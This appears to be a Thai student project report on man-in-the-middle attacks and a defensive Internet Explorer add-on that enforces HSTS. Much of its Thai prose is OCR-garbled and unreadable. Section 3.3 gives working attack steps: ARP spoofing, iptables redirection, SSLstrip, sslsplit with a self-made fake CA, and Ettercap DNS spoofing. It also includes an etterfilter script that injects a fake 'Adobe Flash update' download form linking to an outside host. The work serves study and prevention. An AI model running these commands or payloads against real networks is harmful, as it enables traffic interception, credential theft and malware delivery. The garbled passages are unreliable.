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ABSTRACT

According to daily internet usage, there is a necessity to transfer secret
information often, such as e-banking, e-commerce, social media, etc. These cause
malefactors use any vulnerability to eavesdrop, tampering or forgery the information.

Encryption man-in-the-middle attack is one of the most spectacular security
threat, which uses any vulnerability of authentication protocols, and communicate
protocols to be a middleman in communication between two parties silently.

This project, we research about various type of man-in-the-middle attack, make
a system for prevention and write a guideline for introduce how to prevent and avoid
leaking of information along with motivating users to be aware of security in transferring

information over network.
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2.3.3 Online Certificate Status Protocol (OCSP)
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Fetch One
OCSP Status
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2.3.4 Online Certificate Status Protocol Stapling

Y

] = :; = Aé‘ o :?/ =
N13%1 OCSP Stapling uﬁ"lmﬂtym overhead INATVUNUNT OCSP 1Az CRL 1Agaziifno

a

W ¥ Pa s b Y an < 2 <
AT091U5VT09 11U 15 WI95 ARYINIIAT IR0 UA287T OCSP 1Tluszee vmiv'lnaeudoy
¥ 1 Vv
185 vantuzvesluFuses dloviimsiBounouuy SSL Handshake LH 331 50 siad0
[ =
1) 595 U0 1N Innoa TLS 1.2

2) §alivessuluvate o s uwes

Fetch
Certificate
Web & OCSP
Browser

Fetch One
OCSP Status

71 2.6 m3nsrvaevluSuse sy OCSP Stapling

2.3 Domain Name System (DNS)
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2.4 HTTP Strict Transport Security (HSTS)
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2.5 HTTP Public Key Pinning (HPKP)
[~ { 1 [ ¥/ 1 s 4 4
HPKP 11u357n3 19a0uA 8% (Hash) voslususesiunassnufiszuy i lueawes
¥ § = ] @ T 4 y

vo4 HTTP Tuasausniildusmsvield Fadilddeyadanaruds Inaeud (Client) wi3oiia
1 g { o ' ¥ 1 o ] a 4 1
Auern luszeznmidmua 13 minganaiil auevveslufuseslinseiu wiwes el
' ; Sy g A
wodeluiuses unzezdwanameylnidnasuiinszoznaidnaniugaag

atw 1 Ay A A H A 399y a 4 & yauy Yo o g
wananivetene vinluaswsnidhlduims insesidldau 1dsudoyaiiiuan

' gd 1 1 1 ¥
nayapuuy HTTP Header 11/nouuda 35msidez lansansivasu lasnae 111ezide

-
Ay A8

1 o 1A g ' a o - 1 ) o o )
ﬂ1Ltaﬂf“§ﬂ1ﬂﬂu1LuﬂLﬂuﬂ‘ILL?I‘]ﬁJSQ ’Jﬁ‘LJ,iNL‘]J‘L!LWEJ\fl!,Lﬂ%’)EJLW:JﬂfmJﬁzﬂ’Jﬂﬁ"IWSUEﬁ“Nm

Wi iesia 1y

2.6 M3IANAINAUAUNAS
115 TIADINAUAUAAI (Man-in-the-middle Attack ¥3® MitM 1130 MiM ) Haneae msh
v 398 W umsnaanalumsauninsenieny 2 au udainthndudnanalums

WY

vdsdoyavesgaunu Tasigaunu lingw g TawRannsodniferd o douutag

aid)}

e

3 v
@

pyava 2 e domsnuay 1

L3

P

o 1 ' a v o 5 A [ { '
INAIDUWNNITAUNUITESHINNBAY (Alice) NUVUDU (Bob) ﬁ?at‘iuwmmﬂﬁﬁ%wmmami

- - 4 Y 18 o M oo a an o o EY
ATITUASHIUMTEUEUAINUNILIAD LLﬁﬂ'l'H'lﬂIW'iIﬂﬂﬂﬁﬁ'lﬂ‘iﬂﬂuﬂuﬂ?ﬂuﬂulﬂ‘wa EA RN

D

= @ o g = =1 Y
oWl (Bve) auwisndasuanilunseasuaziou’ld

Alice < » Eob

71 2.7 msaumnin@sz# 4 Alice f Bob

Eve “F P Bob

Alice <

A 4

v
e

o &
31 2.8 MsTUNUIMANAUAUNEIIAL Eve



15

2.7 matdsunasdunevesdoya
2.7.1 ARP spoofing
ARP Spoofing W30 ARP Cache Poisoning E?ﬁﬁ]lfa vwrhmsvennsouthmue
~ ¢ s A = o v = &
WN"IULﬁ“UulﬂW‘UE]QlﬂﬂlﬂﬂﬂgﬂlﬂiEN“U'PJ\?F;!}I%NFI llﬂ3‘1Jﬂﬂlﬂﬂl’lU'ﬂ‘}’i‘lﬂﬂmﬂ.l]l'ﬂwmﬂﬁ!ﬂiﬂﬂ
oy

14 4 " [ =1 3 £ -
whnmeegfies esveed TauAuiu dremstasuuiinma ARP Yum Fams lanfdeiis

1 ¥
w5 oathresuiludoalinigaiuiin ARP cache vy launiiamniuy

Attacker
IP: aaa.aaa.aaa.aaa
MAC: AA:AA:AA:AAAACAA

ARP Reply:
hhh.hhh.hhh.hhh is-at AA:AAAAAA:AAAA ARP Reply:

BEB-BEE-BEE-EEBE is-at AAAAIAAIAAAAIAA

Gateway VOGTREON AN R Host
IP: ggg.288.888.888 [ =ememen= | |P: hhh.hhh.hhh.hhh
MAC: GG:GG:6G:GG:GG:6G Y | MAC: HH:HH:HH:HH:HH:HH

Standard communication:
(6G:GG:GG:GG:GG:GG -> HH:HH:HH:HH:HH:HH)

31 2.9 %@nN311911Y83 ARP Spoofing

2.7.2 ICMP redirect attack
HlauReshmsdeinng icmp llduassathvune iteuoaiuthudumalld
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nandiduiiga ligTaAannsasnlamsdomsld uazdimmsodaouvneay lof

~ 1 U =] o @ d a
Luagnoy MAC El‘H!,“l/i3J’EJ‘L]ﬂfIJ'Z!'llﬂfl)Tﬂ!,ﬂF"]L’JEJ%‘;N
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Destination host

original route new route

ICMP redirect
Switch Attacker

new route

original route

Victim

31 2.10 HaNN15V89 ICMP redirect attack

2.7.3 DHCP spoofing
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Fake DHCP Reply
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51 2.11 #anM 3923 DHCP spoofing
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2.9 Browser Helper Objects
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Internet Explorer l

Browser
IUnknown Helper Object

Browser
Helper Object

U " ——
| IE'sBHOsite |

&

Browser
Helper Object

[BHO |[BHO |- BHO | |_ I

31 2.12 MIFNAUNMINNNIUVBI Browser Helper Objects

2.10 OpenSSL
OpenSSL LﬂuTﬂﬁamﬂamucﬁa{m (Open Source) mlsznoulidwlavsis (Library)
o Qs o Q 4 o 73 é 1
dmSumadsvady tazgainsoliodmsy sSLTLS Fanniu ladvealnsamsszyh
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1 5
An.#1. 1995 Waru Ao Eric A. Young 11a¢ Tim I. Hudson Mo1@%0 SSLeay azdo1niunv
WUIWAI 1AT9715 OpenSSL unuluaaarlaredl a.a. 1998
@ O3 3 1 ' A ad o A A
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U84 Mozilla WEIOINIZAI 1 trust store NUAUN UL Fuilu Tomuzeisuazaiunsog 14a
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Traauldauldann https://curl.haxx.se/docs/caextract. html
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2.10.2 M3a3 1YL
) = Y Ey @ e A 4 1 =
Tupauusn lumseseunionlumaidisiadufentsadenauedudd Fados
:
MHUARIAG 9 Aaridvene l1il
2.10.2.1 Tun@HIFIUM T3 190N (Key algorithm)
OpenSSL3035 RSA, DSA t1az ECDSA ta lumaiiase Iduavialszinn

Y
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MY @081y Qryuad sy SSL vz 14 RSA fiee9n agyuanuy DSA seiidszansam
' Y
1@ 1024 T uagAYUILLY ECDSA 1U CA 6150950 liuwsvate uag dmsu SSH nayut
1111 DSA itag RSA lsaghaunsvatsluvauszn ECpsA laawuauisaiulisessy
2.10.2.2 VWIAVBINYLD
31 A g ] s o Yo a9 Y
M3 lFAsudnveIvIA 019 hidasany shldsuiludesszyvuiaves

g o ' ' 1A as = a & 1
NRYLDINNATI AR G UAUAMTUnRLILUY RSA Tuunaiies 512 da s

kg -

o 14 a 4 ' o
Ynoadvogiets dmndiwies 19nausving s12 a gyagaannsofumnueaiuding
o < o E - =t a & A o
vimsdaoudu ladvuin 16 naduil gauouyy RSA Asivuna 204s Ta Saazdodnlasasit
UAUFIMTUNYUILUY DSA A5 TvNIneE191T08 2048 fin LAZARUWLIY ECDSA 7253

YUIRBEeY 224 TR
2.10.2.3 Y9ANNSHaH U (Passphrase)

Py, @y DTN - W 1o d ¥ B Jam ¥ o
ms lateaNusviaruidudnaona lusuiludodld uands 14 ms 129

S w 4 1 o 13 o a '
Tinguagminuinwn, infeuds nazldau Idedlanads uadi Iiianu hiazain
' ) |y AN oay L dle 2 ] 4 ad ¢ '

My U 0199z e lddennusarmunnad uiledoamsisums Iaududsvnes lu
2.10.3 M3a314 Certificate Signing Requests (CSR)

3 ! e Y w A Y ' P

Whunasgmlumsdavdndhs e odanguoemssuzuazdayaeduiiamnsa
1 = ¢ A a4 o ¥ ad L ' 0 ¥ Y
UsuanDeesfnsuazye law 1eyhnsad e CSRd HnosduIngaghnmsiesvedoya
w 3 A o 4 a oo 4 T { - a
awie Tl Foiulad Feuddn feg Usuannauaiil¥iandz1d RSA uazvuavoanmus

¥
(V1A 2048 1)
v o d' v 5

2.10.4 M35usesluiusesiiadavuanes

dndeams lFlususeadie1d e Tas ludosniseanzibeudy ca weldau

o o o 1 3 A a 1 =¥

HUDAIFITUE 1518115050509 TUS Us0RInaMsAURa 14 IasiTmsdade 11il

193] CSR agudIamITn 14

$ openssl x509 -req -days 365 -in fd.csr -signkey fd.key -out fd.crt

1 = o @ 1 -
uad 1% cSR enango lddaae lutiunu

$ openssl req -new -x509 -days 365 -key fd.key -out fd.crt
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2.11 Libcurl
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3.1 1nsesiofily

3.1.1 Wireshark

<3 ) @ a d T = v W =]
lﬂuiﬂilmiﬂﬁ’]ﬁﬁﬂjmi13”11Wﬂlﬂﬂ (Packet) Elulﬂ‘%ﬂq.l'lﬂ FIVEADYANVULWALNA

Tuasaue ud1nuaaINa

*athe

Fig Eor Vew Go Capture FBnalyze Statsnce  Telephony Wireless Tools  beip

dm e 80 RE Q% v v kMNP B WA
A t F, INFyre i B3 -| Expresson.  +
Na Time Source Cestnation Protocol Length  into =
851 3.355863141  161.246.5.186 224.0.0,252 LLMNR 65 Standard query 0x7850 A TBOOW ]
852 3.362209281 Ciscolnc_77:84:09 Broadcast ARP 60 Who has 161.246.5.1737 Tell 161.246.5.254
853 3.362398401 Ciscolnc_77:84:09 Broadcast ARP 60 Who has 161.246.5.173% Tell 161,246.5,254
854 3,368099748 161.246.5.28 192.184.14.62 1481 54263 —~ 10588 [PSH, ACK] Seq=21984 Ack=9153
B57 3.385807204  192.184.14,62 161.246.5.28 80 10588 — 54263 [PSH, ACK] Seq=9153 Ack=21984
859 3,386295114 161,246.5.28 192.184.14.62 396 54263 ~ 10588 [PSH, ACK] Seq=23411 Ack=9179 5
861 3,440307419  Ciscolnc_77:84:09 Broadcast 60 Who has 161.246.5.427 Tell 161.246.5.254
862 3.440423606 CiscoInc_77:84:09 Broadcast ARP 60 Who has 161.246.5.427 Tell 161.246.5.254
863 3.453870026  161.246.5.232 239,255, 255,250 SSDP 535 NOTIFY * HTTP/1.1

ANEAD TN APKT Can=a760 Anl=n17n ¥

» Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0

+ Ethernet II, Src: Compalln_f0:87:1d (f0:76:1c:f0:87:1d), Dst: LcfcHefe_00:48:23 (28:d2:44:00:48:23)

» Internet Protocol Version 4, Sre: 161.246,5.28, Dst: 157.240.2.35
1ISMLSS ] ‘Can ). i e r 50659 (50659), 0Ost Port

» Transe DIk { Porty 443 (443), Sed: 0,]Lén: o

Packets 9511 Dsplayed §53 (100 %) Frofile Default

31 3.1 wehnalisunsu Wireshark

O 7 vireshark_pcapng.ethi_ 2016118618125 LeoNzRn

3.1.2 Arpspoof
] g
TaJ51n53 arpspoof 9£111A15 ARP Spoofing Taat/asuutlaauiinmng ARP YuN1E7

aelldursouthminonazisimes (Router) iNenfdowdumadeyannnioauthmung lildada
d'!. é = T = o
wyvantlaluesouenau (LAN) R

3.1.3 SSL Split
o3 A M o o = & g oo A . 3l
Whuasesledmiunis lauAnnauaunai nlsnumsideunealeIns Innoa

SSL/TLS 4 SSLsplit gnoanuuuinlginsFeuneveusioudmine navadumsion
Tmieifuteyaiidonsfusznhanioathmnefudinnes

dmsumsiFeusiods SSL 1ay HTTPS SSLsplit annsaafialuiuseqilas vise
@donlFlusvseciifiogudrld souludaljimsmsdaste ocse, auannasves HPKP fin

ad J A o °
mﬂlﬁ}f‘iﬂlf}ﬂi L‘W'E]‘]ji’Nﬂ‘Llﬂ'lSi]ﬂ'i]'lf]ilJULL‘Uﬁ'lﬁ"limz
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3.1.4 SSL Strip
o — o P Y o 2 -]
FuTdsunsunanszaumsseavaniinduanIns Inaoa HTTPS (fu HTTP #adh

winglFou ' lddunauaniegdu ladiuilu BTTe o19gadTewAszmusadnia 18 Tavde

. e
wsoutmuzasmennenuiu leduuy HTTR

HTTP Request

HTTPS Request
Router 3 Website

Host

y 4

HTTPS HITP

11193915 UMD 1AW ARP Spoofing filaude: #ams Sosveiuy HTTP

Request Request

- ' ¥ - - = I - 4
eansiaawensalaa nau Ildusuned

© ©

Attacker

filonRax 13 SSL strip tilenlday
n1s§osuas HTTPS iilu HTTP

Q

31 3.2 naénmsnauves SSL Strip

3.1.5 Mitmproxy

] Ad @ = & A =
Wuldsunsuidludnatsdmsums lasfuuuausunan ielaasseaziden
A i o a E
YoLNNNA INT InAda HTTP/HTTPS N9k 11az5eaf umliouaniald (Script) #2608
Iwneu (Python)
3.1.6 Ettercap
o = = &
Wuya Tsunsuiinsoungumsnageums Tanduuuaununaaralg Uiy
@ 1 o a o 4 a
59950 Tws InAoanvanvale uazdulenNuazaIn lumMsinTzinTesnouimesuay
w3 figduuuwdanns Idauldiden 3 gy
3.1.7 OpenSSL
3 4 A o ¥ A
Wlugansslensiennuazanlums 1991 TLS uaz SSL 8avsil laysis

(Library) Tumsiduiazaeasiadunasguin
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3.1.8 Apache HTTP Server
5 o A Y a ] ¢ A Y} a S A A ~ ¥ o 4
dmisuilaliuimsdulod e lineuiiwosinsosduainsoFonauninivlaed
Tasl¥Iws Inaoa HTTP MIUMaI IS uxes
3.1.9 WS A0S

= o ¥

1 4 [ H 1 [ o
UARZIUS YOS 92 UNITIAMTNIIAIUANUaaaneitana iy 39 1dfAn ez

I =) 1
minanodlaelusuesesNvainnale 917 19U Chrome, Firefox, Internet Explorer (Hudu

é ]
3.2 msnaaeuivlaantimslyau HSTS
o Y1 d s A A ad o
MsnAaouY IaH 119D 19 hitps:/hstspreload appspot.com/ ¥i3 9971 1il01F5¥in0 3
L 2
AoUTUDd Higanoi (Header) agn3o 1 Tasldmdade 1l
$ curl -s -D- https://domain.com/ | grep Strict

o @4 d PR o =
LLﬁ&’WﬂﬂWﬁluﬂanmﬂuuiﬂ\ﬂﬁ‘}_l HSTS a21laadad iy

Strict-Transport-Security: max-age=...

3.3 ﬂ1§ﬂﬂ@ﬂ&i%ﬂﬁﬂ1ﬂﬂuﬁ’uﬂﬁ1ﬂ

3.3.1 msandudeyauiinnalwsinaeanaly
) w 3 . = " Y E @ o aAa o t:as’
dmsudeyadie g 7 i lalnmsdhsWadu $35nsmanesaail
a ) 7 ad ¢ A qyy a ' & =t
D Wams lFanumsresiianesameTideyaannsnidumen s o svo e Toud
AT $ sysctl net.ipvd.ip_forward=1
> ! { o &
TaoaunsoAsal wesaiidinzezeon1d Taeldmda § iptables -t nat -A
PREROUTING -p tcp --dport SRCPORT -j REDIRECT --to-ports DESTPORT
1 [ [ v ¥
2) ulaswdumaveteyadiodt laisuile #aluiitiez 14 ARP Spoofing Taold

1
ot

A9 $ arpspoof -1 INTERFACE -t TARGET1 -r TARGET2

3) Genldlisunsuiannsogsenzidondoyaiern1a 15U Wireshark,
. A A
mitmproxy HIiDoU €
3.3.2 maanduveyaurinnalwsinaeaniinnulasnsy

A Ao a1 = 3 v oo 3/ A o =
11194910 Tns Inpeanilinnuilaeansig q Inmsdhsiaduvesdoya ednilais

Tuawsanswldndennueie q fees 1s Teiims Tandgduuueie q ihldeseathuine

i 1 ¥
TdasadousadioIns Inaafid 1siadududivines 1a 18undlod1eaane Uil
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3.3.2.1 mslaudlasanszaulnsinnea
Hums Towd Taodeunisesue HTTPS i HTTP Tanlddida
$ sslstrip -| PORTNUMBER L§3asmlenualnd dans Toudidheistannsatostudasms
19 HSTS
3.3.2.2 mslaudlaslvluSusestaen
1) 5on14T1)51n73 OpenSSL 103 19nmud 2 V1A 4096 T Faufds
$ openssl genrsa -out KEYFILE 4096
2) aunguamnse azluuse MuATIIY X.509 Aaenaued udad
3198820 d3 § openss] req -new x509 -day DAYS -key KEYFILE -out
CERTFILE
3) NTenTeazBuad 4 dmsumsadnluiuses Woad w13 19s

lususeq e lylunis Taud

¥ g =l | o % TR i . ey &
'Wﬁ 5 oy P *_,»f‘,fﬁnt'iiﬁ'cnm R S A~ % b % (O I )

root@Xynchronize:~# openssl genrsa -out ca.key 4096
Generating RSA private key, 4096 bit long modulus

e is 65537 (6x10001)

root@Xynchronize:~# openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:TH

State or Province Name (full name) [Some-State]:Fake state

Locality Name (eg, city) []:Fake city

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Fake company
Organizational Unit Name (eg, section) []:Fake section

Common Name (e.g. server FQDN or YOUR name) []:Fake CA

Email Address []:fake@domain.com

root@Xynchronize:~# |J

31 3.3 msa31aluFusesdag OpenSSL

v n
1) Wos135awesn 80 uaz 443 MmiuBen1¥1sunsy ssisplit Mo ad1ans
4 ' al 4 s c:; g o n‘)
wouaonuinsouthvunouazuaaslususestasufiaiaiu dremaa
sslsplit -D -1 connections.log -S logdir/ -k KEYFILE -¢c CERTFILE ssl

0.0.0.0 PORTNUMBER tcp



[ Privacy error

X

C Ahmﬁ /fwww.dek-d.com ' ] i

Your connection is not private

Attackers might be trying to steal your information from www.dek-d.com (for example,
passwords, messages, or credit cards).

D Automatically report details of possible secunty incidents to Google. Privacy policy

HIDE ADVANCED

This server could not prove that it is www.dek-d.com: its security certificate is not trusted
by your computer’s operating system. This may be caused by a misconfiguration or an
attacker intercepting your connection. Learmn more.

roceed o ek -d com (unsafe)

25

31U 3.4 wihudafienveawsuwes Chrome iel¥lususenlasunaziiulealisessv HsTs

[ Privacy error

x

L c Abﬂﬁ./www.fa.cebook.cam 2 7 . 1

Your connection is not private

Attackers might be trying to steal your information from www.facebook.com (for
example, passwords, messages, or credit cards).

D Automatically report details of possible secunty incidents to Google. Privacy policy

jlh! o :‘D“’A"’(EQ

www.facebook.com normally uses encryption to protect your information. When Google
Chrome tried to connect to www.facebook.com this time, the website sent back unusual
and incorrect credentials. This may happen when an attacker is trying to pretend to be
www.facebook.com, or a Wi-Fi sign-in screen has interrupted the connection. Your
information is still secure because Google Chrome stopped the connection before any
data was exchanged

You cannot visit www.facebook.com nght now because the website uses HSTS. Network
errors and attacks are usually temporary, so this page will probably work later. Learn more

31 3.5 wihud ufeuveusuwe3 Chrome isliluuseslaeumaziiuladsessy HSTS
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3.3.2.3 msnlaeumlasfesyaveunininndie Ettercap
1) a9 IWdAT IdadT Tnssadrendionund dmsufmuamsn/dountas
vosdoyn amsnanmstonaa 147
https://linux.die.netman/8/etterfilter 110zARIDE19v04 1AA AT

https://github.com/Ettercap/ettercap/blob/master/share/etter.filter.examples

e 3.1 IRadmiumsaisthuiienaenaelimilnaalilsunsy Adobe Flash Player

if (ipproto =TCP && tcpdst =80){
if (search(DATAdata, 'Accept-Encoding" {
replace('Accept-Encoding", 'Accept-Rubbish);
msg('Zapped";
}

}
if (dppoto =TILP & Lep Sréf =B8]

if (search(DATAdata, '<title>"){

replace(¢</title>", "<title><p></script><form

action="https/wwwmywebsitecom' method='"link'><p

align='center'>

<a href='http/wwwmywebsite.com'>

<img src='httpswebinarcheck sbsedwimg/

adobe flashpng'> <a>

<br> New version of Adobe Flash Please install
updates.<br>

<INPUT TYPE-submit wvalue='Download'>

</form>v;

msg('Form Injected");

}

2) now'Iwg (Compile) TRATIToLTUAIORFA § etterfilter INPUTFILE -o
OUTPUTFILE

3) Bl T5un5 Ettercap 1nsoedao IWdf1dnndo 2 Tavldmda
$ Ettercap -T -q -S -F FILTERFILE /IPADDRESS// #aiijoinsoaithnung

Yo = . o Yy Ay ya Y
Tasudeyanasanuiteuly sxvhmm Idai Ididouien1d
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2016 Pantip Tag wunils Tag Tl st aun s renngq R Tl “Happy
WhalE Wik Cooking Day Season 3°

51 3.6 130196 www.pantip.com tifelaulaesuiiom

3.4 M3naavdilaan DNS (DNS spoofing) 718 Ettercap

s @ &

2n Y, o yld d A Y & s
ﬂ15‘ﬂﬂﬁ@\‘]uvlﬂcﬂﬂﬂﬂqﬁl'ﬂF;TI%‘JJWETTNL'J“]Jllﬂfﬂ‘ﬂll‘l’iujﬂuﬁuﬂu!.'Jr]_l\rl“h'mﬂ'lﬂ'lcﬁ'lﬂﬂﬂwmﬂﬂ5

P - P A ~ a2 1y g L) a o
gy ledl 161.246.5.30 uaziiewseatinei lau TawdAegiiniu laddaonis wuae
< 2 4 9 Y o A = = g o 4
A lad inseathnineszdesvenduiulaeunnsdosvosd Taud unuiivaihudy ledves
=) A :l.:i:l % 1 av
939 FIMsnaapelIuaeudaaa 11l
& d ¢'d i o 1 Auy o
D ud b IWd arML Wwshdu ladidha 1 mufdesns Qudaearail 1dudlvliimileu
I~ a a a =Y « A ?,’ o I
AU advean1n I IAINTIUADUNIUNDS UAZINUAILIIA191 Fake)

a = = o @
2) Waldamdudswinesveed Toud Taol¥Mds $ service start apache2

a

¥ as ]

3) uf v 14 etter.dns 1ilesug ¥o oy lofiawidoans

U

4) Gonl¥115un5% Ettercap

5) 10lal%eandu dns_spoof



Bl Command Prompt - [a] X

C:\Users\Lignite>ping www.ce.kmitl.ac.th

Pinging www.ce.kmitl.ac.th [161.246.5.30] with 32 bytes of data:
Reply from 161.246.5.3@: bytes= ime<ims TTL=64
Reply from 161.246.5.30: bytes=32 time=1ms TTL=64

Reply from 161.246.5.30: bytes=32 time=1ms TTL=64
Reply from 161.246.5.30: bytes=32 time=1ms TTL=64

Ping statistics for 161.246.5.30:

Packets: Sent = 4, Received = 4, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = @ms, Maximum = 1ms, Average = éms

U
Lrd

31 3.7 M3 i ping lUFau3uludingn DNS spoofing
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MSANHUNHUAZHANTAUHUUIIY

[ U a d d'l s =
4.1 MINaNTIUEI MU U SINeoanumslond
4 H T 1 1 -3 g
1i10991N15 W03 Internet Explorer juiian 11 lisessumsldarn HSTS imszaziiv
Ed ]
Tumswannaiuaiuil Jeegwanndmas udmsusuyes ntemnet Explorer tva 1#ius
b
103 Hansa i HSTS 16
= 1 =Y
4.1.1 51U0ZIDUAVDIT IUIAGN
1) iWudnua3uilszinn Browser Helper Objects (BHO)
2) Warnuenaaeu 1% iU e Internet Explorer 1393554 10
3) NAADUVUTLUVURUANT Windows 7 64-Bit
4.1.2 TIUMSMNUVDIT IUEATH
EY
uuamshau ldesnidlu 5 msrhaudes aail
1 -3 g
1) dIUMININIUNUI UV Browser Helper Objects
2) dauAoUAUBIBIIUN (Event) HagAIURANILTISDS
" & A ] o
3) MruFouaen Ui lua
T [ A d A [
4) AIUTANITHAZATIVAOUT WDV 1¥@NT 095 HSTS
5) AUATNNTOUATINYNABIYD U5 VT 04
4.1.3 TumoUM I NUVBIT MG
@ A g '3 4
1) 597UIUNIINUT UKD T
2) e 185uBuN W5y URL vintususes
3) ATITRUANNGNADIVBlUTUTBY
4) A37980UM3 50951 HSTS vaudulae
o =) g o (] 4 o L o ]
5) imstanumsdifennlufusesligndes uaziuledsesiy HsTs dadsla
MuAD Y
4.1.4 YodNAvesT AT
3 ) s P | Vit
1) T 1A NLIUs 103 Internet Explorer 11937 4 ATy
. r
2) lmanTumsvihauluszeznamile

3) msasnvaoulutiusesein linseungunn CA
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4.1.5 mmlmzm‘imuﬂﬁﬂl‘uwwm
1) 190167 C++
2) Microsoft Visual Studio Ultimate 2013

3) Oracle VM VirtualBox
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No

Is browser
event fired ?

Get url from browser.

Is url HTTPS?

Yes
Is record

still valid?

Golo HTTPS.

Is HSTS
list contains i i Block
the url? still valid
Gel header from website
Is header Is HSTS Yes
contains list contains Update record.
HSTS header?, the url?

Append new record
to the list.

N

S

&

31l 4.1 sumwmsmhawvesduaduusuves

G
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4.1.6 nwﬁ%uﬁmﬁugmmm Browser Helper Objects

Tumsisuduadralusondng mnwanId2e Microsoft Visual Studio aunsaadielag
%1y F98 vn91 Active Template Library (ATL) 'I& minifuituaaalvs Taoiden ATL
Simple Object 1L ;’%ﬁ%ﬂ’j”l [ExtensionBHO

dmusniisuiluves BHO Aon1s19amsumesive (interface) IObjectWithSite F4i)
I59A (Method) SetSite ﬁﬁwmammﬁzmﬂ“lumiﬁamsﬁ"u Internet Explorer Lla¥ U0 BHO
ilodpenisvun1shary Tag Intemet Explorer 11192i3on14iut0n SetSite A0nsa Aoiila
a3 1umsdouns 1w we5vzdeBonng Unkown Faufudumisvesdauniuquiusuves
Wiolit BHO 11014 uaziiloTlamsihamsuees wstmwes sz denn NULL uite ¥ BHO
Yaadeuduimeimanianuaiildan iagdansidoudonnsiaed daludiui BHO A93
MIEUMS (nitialize) WagaVMIIY (Uninitialize) d2vdu 9 Asuilu i msad
maFeudemesud s uresdieanun

Tumsauguiduisuaei suiludossznieldom shiguidh e 1FaBumes iy

o & W e o
IWebBrowser2 gDl iUMA12 o) veaus iy 91n1udalseniadanslsdmsuinu iy lad

YDULTUTDS

0814 4.1 M3U5znAvYes BHO

#include <shlguidh>
STDMETHODSetSite)xIUnknown *pUnkSite);

private
CComPtr<IWebBrowser2> m_ spWebBrowser;
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M08 4.2 1AAUDAUNTIA SetSite

STDMETHODIMP CIExtensionBHO:SetSitedUnknown*pUnkSite)
{
if (pUnkSite 1=NULL)

{
#Cache the pointer to IWebBrowser2.

pUnkSite->QueryInterface(IID IWebBrowser2,
(void*»&m_spWebBrowser);

}
else

{

/Release cached pointers and other resources.

m spWebBrowser.Release(;

}

#Return the base class implementation
return IObjectWithSiteImpl<CHelloWorldBHO>:SetSite

(PUnkSite);
1

1119115 build T151904 Visual Studio 92¥11M3LWY CLSID 194 BHO 1164 registry

4 ' 1 § A &
ieisuend1 IWd DLL iflu BHO uag 19 Intemet Explorer Sonldiiloiudunisldam &

CLSID 994 BHO u13ow 1an 1Wd IExtrension.idl

o ' 1 v o Y
D8N 4.3 ﬂ".l‘l«!‘lli’]ﬂﬂﬂ?’l‘ljixﬂﬂﬂﬂ?ﬂ CLSID

importlibestdole2.tlbn;

[
uuid(58FDEBE2-3613-48EF-9AA3-2C6C30151F71)

I

2 { [ : a &
Diniulii cLSID sz u191ms1d 11194 Extension.rgs 1o I aunsnAnds uag

A . @ 1 9 1
Al registry 19 mudI9d19m a0
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10814 4.4 Ul IHITUIRANA Y registry

HKLM {
NoRemove SOFTWARE {
NoRemove Microsoft {
NoRemove Windows ({
NoRemove CurrentVersion {
NoRemove Explorer {
NoRemove 'Browser Helper Objects' ({
ForceRemove '{58FDE8E2-3613-48EF-9AA3-

2C6C30151F71}"' =8 "IExtensionBHO' |
val 'NoExplorer' =d '1'

4.1.7 M3ABUEHBIDTMNIAZAIVAMIVIT IS
A oy A = ric gl o[ o @ A d
Wowswesimanlasuuilasdniug wlinsaadrduniaie q eonu dmTuoumes ey
d 1 v =1
[WebBrowser2 92 3813u1iA19 9 1% DownloadBegin, DownloadComplete, OnQuit Hudy Tae
J =y { 3 ¥ o 4 o o o A o
dadsunzad il sshouied1ddesnis Tddudu ladou nazwsiwesvhms
{ @ '
wasulas URL agifu Sudenl4amdiium BeforeNavigate2
TumsSuddurninanusuaes BHO sudludoasemald expisidh dwisutlsznied
Y g s ¥ A | w d A o Vay ¢ 1 &
FIUNAN 9 VOUUS DT LAY 73 19FDUADA LT UFD T INDINTADUAUBIADDIIUMIHAIY
a o P £ ' < '
Too1481n 03 W T ¥091 IDispatch vz 1idowa Property 1Az Method A13 9 Y94 HoUIIAA
P} a & = o ' a"
wazlums 1991181 3un BeforeNavigate2 mutena1s9zil 7 W5 lnes ¥aniswmesivaiiiey
gﬂﬁﬁﬁaqﬂﬁuuﬁﬂﬂIDBpMch:hwoke
S 9 — . Ty & 4
nnuulszmalday exdispidh iNofMuaA B3 URYDUVIUYDS LAazNMTYTEMA

. A q v 2y g
ARd IDispEventImpl tWo 1¥d1etazazadnlumsaiuguaiun uazisemediiu
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M0819 4.5 IAATIMTUAILANBIIUN BeforeNavigate2

void STDMETHODCALLTYPE CIExtensionBHO:OnBeforeNavigate
(IDispatch *pDisp, VARIANT *pvarURL, VARIANT »vFlags,
VARIANT *vTargetFrameName, VARIANT *vPostData,

VARIANT *vHeaders, VARIANT *vCancel){

HWND hwnd;
HRESULT hr =m spWebBrowser->

get HWND(LONG_ PTR#»&hwnd);

if (SUCCEEDEDt )

{
/Do things herebefore the page is navigate.
)

di 1 d‘l s < o d
4.1.8 M3ounamaiueana S5y las
! X 2 { y o ) 1 ot
Tumsdeensdududinines 1214 laus s libeurl Wovhmsiuansamosuoay ladn
A0IM3 W01 INATINETIUMTIOI5T HSTS
A’ I~1 4 1 J a3 o U [ P [ Y
ieaninvaty U lwd srdauiionidu laduanaiadulilay User-agent fivhnisdoq
] E
o nazu 19U ledfiasi oz 1¥ 03 M3nuuN User-agent dauie3uiing 1ammun 19814 User-
H o v 4
agent 1 lasumssousuluvats o Julwe Taeldilu Mozilla/ 5.0 (Windows NT 6.1:
WOW64; rv:40.0) Gecko / 20100101 Firefox /40.1 liaziiloynnisdosue uda lasuiganns oz

ﬁmiﬁﬂﬂi“ﬁd’lu callback function ﬁ"lﬁ’ﬁmuﬂ“li’
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static size t header_callbackichar *buffer, size t size,
size t nitems, void *userdata)

{

header +=buffer;
return nitems+*size;

}

string getHeader(const char *url)({
CURL =*curl;
CURLcode res;
curl =curl easy s Qs
if {enrly-4
curl easy’s€topt@url, \CURLOPT/ URL; url
curl eghy setopt®usl, CURLOPT HEADERFUNCTION,
header callback);
curl_easy setopt(curl, CURLOPT NOBODY, 1Ly;
